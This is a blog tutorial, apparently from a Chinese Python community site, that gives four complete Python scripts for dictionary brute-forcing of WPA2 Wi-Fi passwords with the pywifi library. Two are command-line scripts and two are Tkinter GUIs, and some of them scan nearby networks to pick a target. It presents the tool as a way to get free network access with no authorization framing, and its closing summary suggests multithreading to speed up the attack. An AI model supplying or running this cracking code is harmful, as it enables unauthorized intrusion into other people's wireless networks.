Information Security 19 min read

Python WiFi Password Brute‑Force Cracking with Command‑Line and Tkinter GUI Enhancements

This article demonstrates how to use Python and the pywifi library to scan nearby Wi‑Fi networks and perform a dictionary‑based brute‑force attack, then improves the tool with a command‑line version, a more flexible script, and two Tkinter graphical interfaces for easier operation.

Python Programming Learning Circle
Python Programming Learning Circle
Python Programming Learning Circle
Python WiFi Password Brute‑Force Cracking with Command‑Line and Tkinter GUI Enhancements

The article begins with a brief introduction stating that it will show how to implement Wi‑Fi password brute‑force cracking using a Python script, enabling free network access.

Command‑line version (no GUI) – A basic script imports pywifi , defines wifiConnect(pwd) to attempt a connection with a given password, reads passwords from pwd.txt , and reports success or failure.

import pywifi
from pywifi import const
import time, datetime

def wifiConnect(pwd):
    wifi = pywifi.PyWiFi()
    ifaces = wifi.interfaces()[0]
    ifaces.disconnect()
    time.sleep(1)
    if ifaces.status() == const.IFACE_DISCONNECTED:
        profile = pywifi.Profile()
        profile.ssid = "Tr0e"
        profile.auth = const.AUTH_ALG_OPEN
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        profile.cipher = const.CIPHER_TYPE_CCMP
        profile.key = pwd
        ifaces.remove_all_network_profiles()
        tep_profile = ifaces.add_network_profile(profile)
        ifaces.connect(tep_profile)
        time.sleep(2)
        return ifaces.status() == const.IFACE_CONNECTED
    else:
        print("已有wifi连接")

def readPassword():
    success = False
    print("****************** WIFI破解 ******************")
    path = "pwd.txt"
    file = open(path, "r")
    start = datetime.datetime.now()
    while True:
        try:
            pwd = file.readline().strip('\n')
            if not pwd:
                break
            if wifiConnect(pwd):
                print("[*] 密码已破解:", pwd)
                success = True
                break
            else:
                print(f"正在破解 SSID 为 %s 的 WIFI密码,当前校验的密码为:%s" % ("Tr0e", pwd))
        except:
            continue
    end = datetime.datetime.now()
    if success:
        print(f"[*] 本次破解WIFI密码一共用了多长时间:{end - start}")
    else:
        print("[*] 很遗憾未能帮你破解出当前指定WIFI的密码,请更换密码字典后重新尝试!")
    exit(0)

if __name__ == "__main__":
    readPassword()

Optimized script with scanning and flexible dictionary – Adds a Wi‑Fi scanning function that lists available networks sorted by signal strength, lets the user choose a target, and reads a user‑specified password dictionary.

import pywifi, time
from pywifi import const

def wifi_scan():
    wifi = pywifi.PyWiFi()
    interface = wifi.interfaces()[0]
    interface.scan()
    for i in range(4):
        time.sleep(1)
        print('\r扫描可用 WiFi 中,请稍后。。。(' + str(3 - i), end=')')
    print('\r扫描完成!\n' + '-' * 38)
    print('\r{:4}{:6}{}'.format('编号', '信号强度', 'wifi名'))
    bss = interface.scan_results()
    wifi_name_set = set()
    for w in bss:
        wifi_name_and_signal = (100 + w.signal, w.ssid.encode('raw_unicode_escape').decode('utf-8'))
        wifi_name_set.add(wifi_name_and_signal)
    wifi_name_list = sorted(list(wifi_name_set), key=lambda a: a[0], reverse=True)
    for num, (sig, name) in enumerate(wifi_name_list):
        print(f'{num:<6d}{sig:<8d}{name}')
    print('-' * 38)
    return wifi_name_list

def wifi_password_crack(wifi_name):
    wifi_dic_path = input("请输入本地用于WIFI暴力破解的密码字典(txt格式,每个密码占据1行)的路径:")
    with open(wifi_dic_path, 'r') as f:
        for pwd in f:
            pwd = pwd.strip('\n')
            wifi = pywifi.PyWiFi()
            interface = wifi.interfaces()[0]
            interface.disconnect()
            while interface.status() == 4:
                pass
            profile = pywifi.Profile()
            profile.ssid = wifi_name
            profile.auth = const.AUTH_ALG_OPEN
            profile.akm.append(const.AKM_TYPE_WPA2PSK)
            profile.cipher = const.CIPHER_TYPE_CCMP
            profile.key = pwd
            interface.remove_all_network_profiles()
            tmp_profile = interface.add_network_profile(profile)
            interface.connect(tmp_profile)
            start_time = time.time()
            while time.time() - start_time < 1.5:
                if interface.status() == 4:
                    print(f'\r连接成功!密码为:{pwd}')
                    exit(0)
                else:
                    print(f'\r正在利用密码 {pwd} 尝试破解。', end='')

def main():
    while True:
        print('WiFi万能钥匙'.center(35, '-'))
        wifi_list = wifi_scan()
        try:
            target_num = int(input('请选择你要尝试破解的wifi:'))
            if target_num in range(len(wifi_list)):
                while True:
                    choose = input(f'你选择要破解的WiFi名称是:{wifi_list[target_num][1]},确定吗?(Y/N)').lower()
                    if choose == 'y':
                        wifi_password_crack(wifi_list[target_num][1])
                        break
                    elif choose == 'n':
                        break
                    else:
                        print('只能输入 Y/N')
        except ValueError:
            print('只能输入数字')
        except Exception as e:
            print(e)
            raise e
        break

if __name__ == '__main__':
    main()

Simple Tkinter GUI – Provides a window where the user enters a Wi‑Fi name, loads a password file, and displays each attempted password in a listbox until the correct one is found.

from tkinter import *
from pywifi import const
import pywifi, time

def wificonnect(pwd, wifiname):
    wifi = pywifi.PyWiFi()
    ifaces = wifi.interfaces()[0]
    ifaces.disconnect()
    time.sleep(1)
    if ifaces.status() == const.IFACE_DISCONNECTED:
        profile = pywifi.Profile()
        profile.ssid = wifiname
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        profile.key = pwd
        profile.auth = const.AUTH_ALG_OPEN
        profile.cipher = const.CIPHER_TYPE_CCMP
        ifaces.remove_all_network_profiles()
        tep_profile = ifaces.add_network_profile(profile)
        ifaces.connect(tep_profile)
        time.sleep(3)
        return ifaces.status() == const.IFACE_CONNECTED
    return False

def readPwd():
    wifiname = entry.get().strip()
    path = r'./pwd.txt'
    file = open(path, 'r')
    while True:
        try:
            mystr = file.readline().strip()
            if wificonnect(mystr, wifiname):
                text.insert(END, '密码正确' + mystr)
                file.close()
                break
            else:
                text.insert(END, '密码错误' + mystr)
        except:
            continue

root = Tk()
root.title('wifi破解')
root.geometry('500x400')
Label(root, text='输入要破解的WIFI名称:').grid()
entry = Entry(root, font=('微软雅黑', 14))
entry.grid(row=0, column=1)
text = Listbox(root, font=('微软雅黑', 14), width=40, height=10)
text.grid(row=1, columnspan=2)
Button(root, text='开始破解', width=20, height=2, command=readPwd).grid(row=2, columnspan=2)
root.mainloop()

Advanced Tkinter GUI (with network list and file chooser) – Implements a class‑based interface that scans nearby Wi‑Fi networks, displays them in a Treeview, lets the user select a network, choose a password dictionary file, and attempts cracking with detailed status messages.

from tkinter import *
from tkinter import ttk, filedialog, messagebox
import pywifi, time
from pywifi import const

class MY_GUI():
    def __init__(self, init_window_name):
        self.init_window_name = init_window_name
        self.get_value = StringVar()
        self.get_wifi_value = StringVar()
        self.get_wifimm_value = StringVar()
        self.wifi = pywifi.PyWiFi()
        self.iface = self.wifi.interfaces()[0]
        self.iface.disconnect()
        time.sleep(1)
        assert self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
    def set_init_window(self):
        self.init_window_name.title("WIFI破解工具")
        self.init_window_name.geometry('+500+200')
        labelframe = LabelFrame(width=400, height=200, text="配置")
        labelframe.grid(column=0, row=0, padx=10, pady=10)
        Button(labelframe, text="搜索附近WiFi", command=self.scans_wifi_list).grid(column=0, row=0)
        Button(labelframe, text="开始破解", command=self.readPassWord).grid(column=1, row=0)
        Label(labelframe, text="目录路径:").grid(column=0, row=1)
        Entry(labelframe, width=12, textvariable=self.get_value).grid(column=1, row=1)
        Button(labelframe, text="添加密码文件目录", command=self.add_mm_file).grid(column=2, row=1)
        Label(labelframe, text="WiFi账号:").grid(column=0, row=2)
        Entry(labelframe, width=12, textvariable=self.get_wifi_value).grid(column=1, row=2)
        Label(labelframe, text="WiFi密码:").grid(column=2, row=2)
        Entry(labelframe, width=10, textvariable=self.get_wifimm_value).grid(column=3, row=2, sticky=W)
        self.wifi_labelframe = LabelFrame(text="wifi列表")
        self.wifi_labelframe.grid(column=0, row=3, columnspan=4, sticky=NSEW)
        self.wifi_tree = ttk.Treeview(self.wifi_labelframe, show="headings", columns=("a","b","c","d"))
        self.vbar = ttk.Scrollbar(self.wifi_labelframe, orient=VERTICAL, command=self.wifi_tree.yview)
        self.wifi_tree.configure(yscrollcommand=self.vbar.set)
        for col, w in zip(("a","b","c","d"), (50,100,100,100)):
            self.wifi_tree.column(col, width=w, anchor="center")
        self.wifi_tree.heading("a", text="WiFiID")
        self.wifi_tree.heading("b", text="SSID")
        self.wifi_tree.heading("c", text="BSSID")
        self.wifi_tree.heading("d", text="signal")
        self.wifi_tree.grid(row=4, column=0, sticky=NSEW)
        self.wifi_tree.bind("<Double-1>", self.onDBClick)
        self.vbar.grid(row=4, column=1, sticky=NS)
    def scans_wifi_list(self):
        print("^_^ 开始扫描附近wifi...")
        self.iface.scan()
        time.sleep(15)
        scanres = self.iface.scan_results()
        print("数量: %s" % len(scanres))
        self.show_scans_wifi_list(scanres)
        return scanres
    def show_scans_wifi_list(self, scans_res):
        for index, wifi_info in enumerate(scans_res):
            self.wifi_tree.insert("", 'end', values=(index+1, wifi_info.ssid, wifi_info.bssid, wifi_info.signal))
    def add_mm_file(self):
        self.filename = filedialog.askopenfilename()
        self.get_value.set(self.filename)
    def onDBClick(self, event):
        self.sels = event.widget.selection()
        self.get_wifi_value.set(self.wifi_tree.item(self.sels, "values")[1])
    def readPassWord(self):
        self.getFilePath = self.get_value.get()
        self.get_wifissid = self.get_wifi_value.get()
        pwdfilehander = open(self.getFilePath, "r", errors="ignore")
        while True:
            try:
                self.pwdStr = pwdfilehander.readline()
                if not self.pwdStr:
                    break
                self.bool1 = self.connect(self.pwdStr, self.get_wifissid)
                if self.bool1:
                    self.res = "[*] 密码正确!wifi名:%s,匹配密码:%s " % (self.get_wifissid, self.pwdStr)
                    self.get_wifimm_value.set(self.pwdStr)
                    messagebox.showinfo('提示', '破解成功!!!')
                    print(self.res)
                    break
                else:
                    self.res = "[*] 密码错误!wifi名:%s,匹配密码:%s" % (self.get_wifissid, self.pwdStr)
                    print(self.res)
                time.sleep(3)
            except:
                continue
    def connect(self, pwd_Str, wifi_ssid):
        self.profile = pywifi.Profile()
        self.profile.ssid = wifi_ssid
        self.profile.auth = const.AUTH_ALG_OPEN
        self.profile.akm.append(const.AKM_TYPE_WPA2PSK)
        self.profile.cipher = const.CIPHER_TYPE_CCMP
        self.profile.key = pwd_Str
        self.iface.remove_all_network_profiles()
        self.tmp_profile = self.iface.add_network_profile(self.profile)
        self.iface.connect(self.tmp_profile)
        time.sleep(5)
        isOK = self.iface.status() == const.IFACE_CONNECTED
        self.iface.disconnect()
        time.sleep(1)
        assert self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
        return isOK

def gui_start():
    init_window = Tk()
    ui = MY_GUI(init_window)
    ui.set_init_window()
    init_window.mainloop()

if __name__ == "__main__":
    gui_start()

The concluding summary notes that the tutorial covered both command‑line and GUI methods for Wi‑Fi password brute‑forcing, points out the lack of multithreading in the examples, and suggests that adding threads would reduce the waiting time caused by connection attempts.

GUIPythonWiFiNetwork SecurityTkinterpassword crackingpywifi
Python Programming Learning Circle
Written by

Python Programming Learning Circle

A global community of Chinese Python developers offering technical articles, columns, original video tutorials, and problem sets. Topics include web full‑stack development, web scraping, data analysis, natural language processing, image processing, machine learning, automated testing, DevOps automation, and big data.

0 followers
Reader feedback

How this landed with the community

login Sign in to like

Rate this article

Was this worth your time?

Sign in to rate
Discussion

0 Comments

Thoughtful readers leave field notes, pushback, and hard-won operational detail here.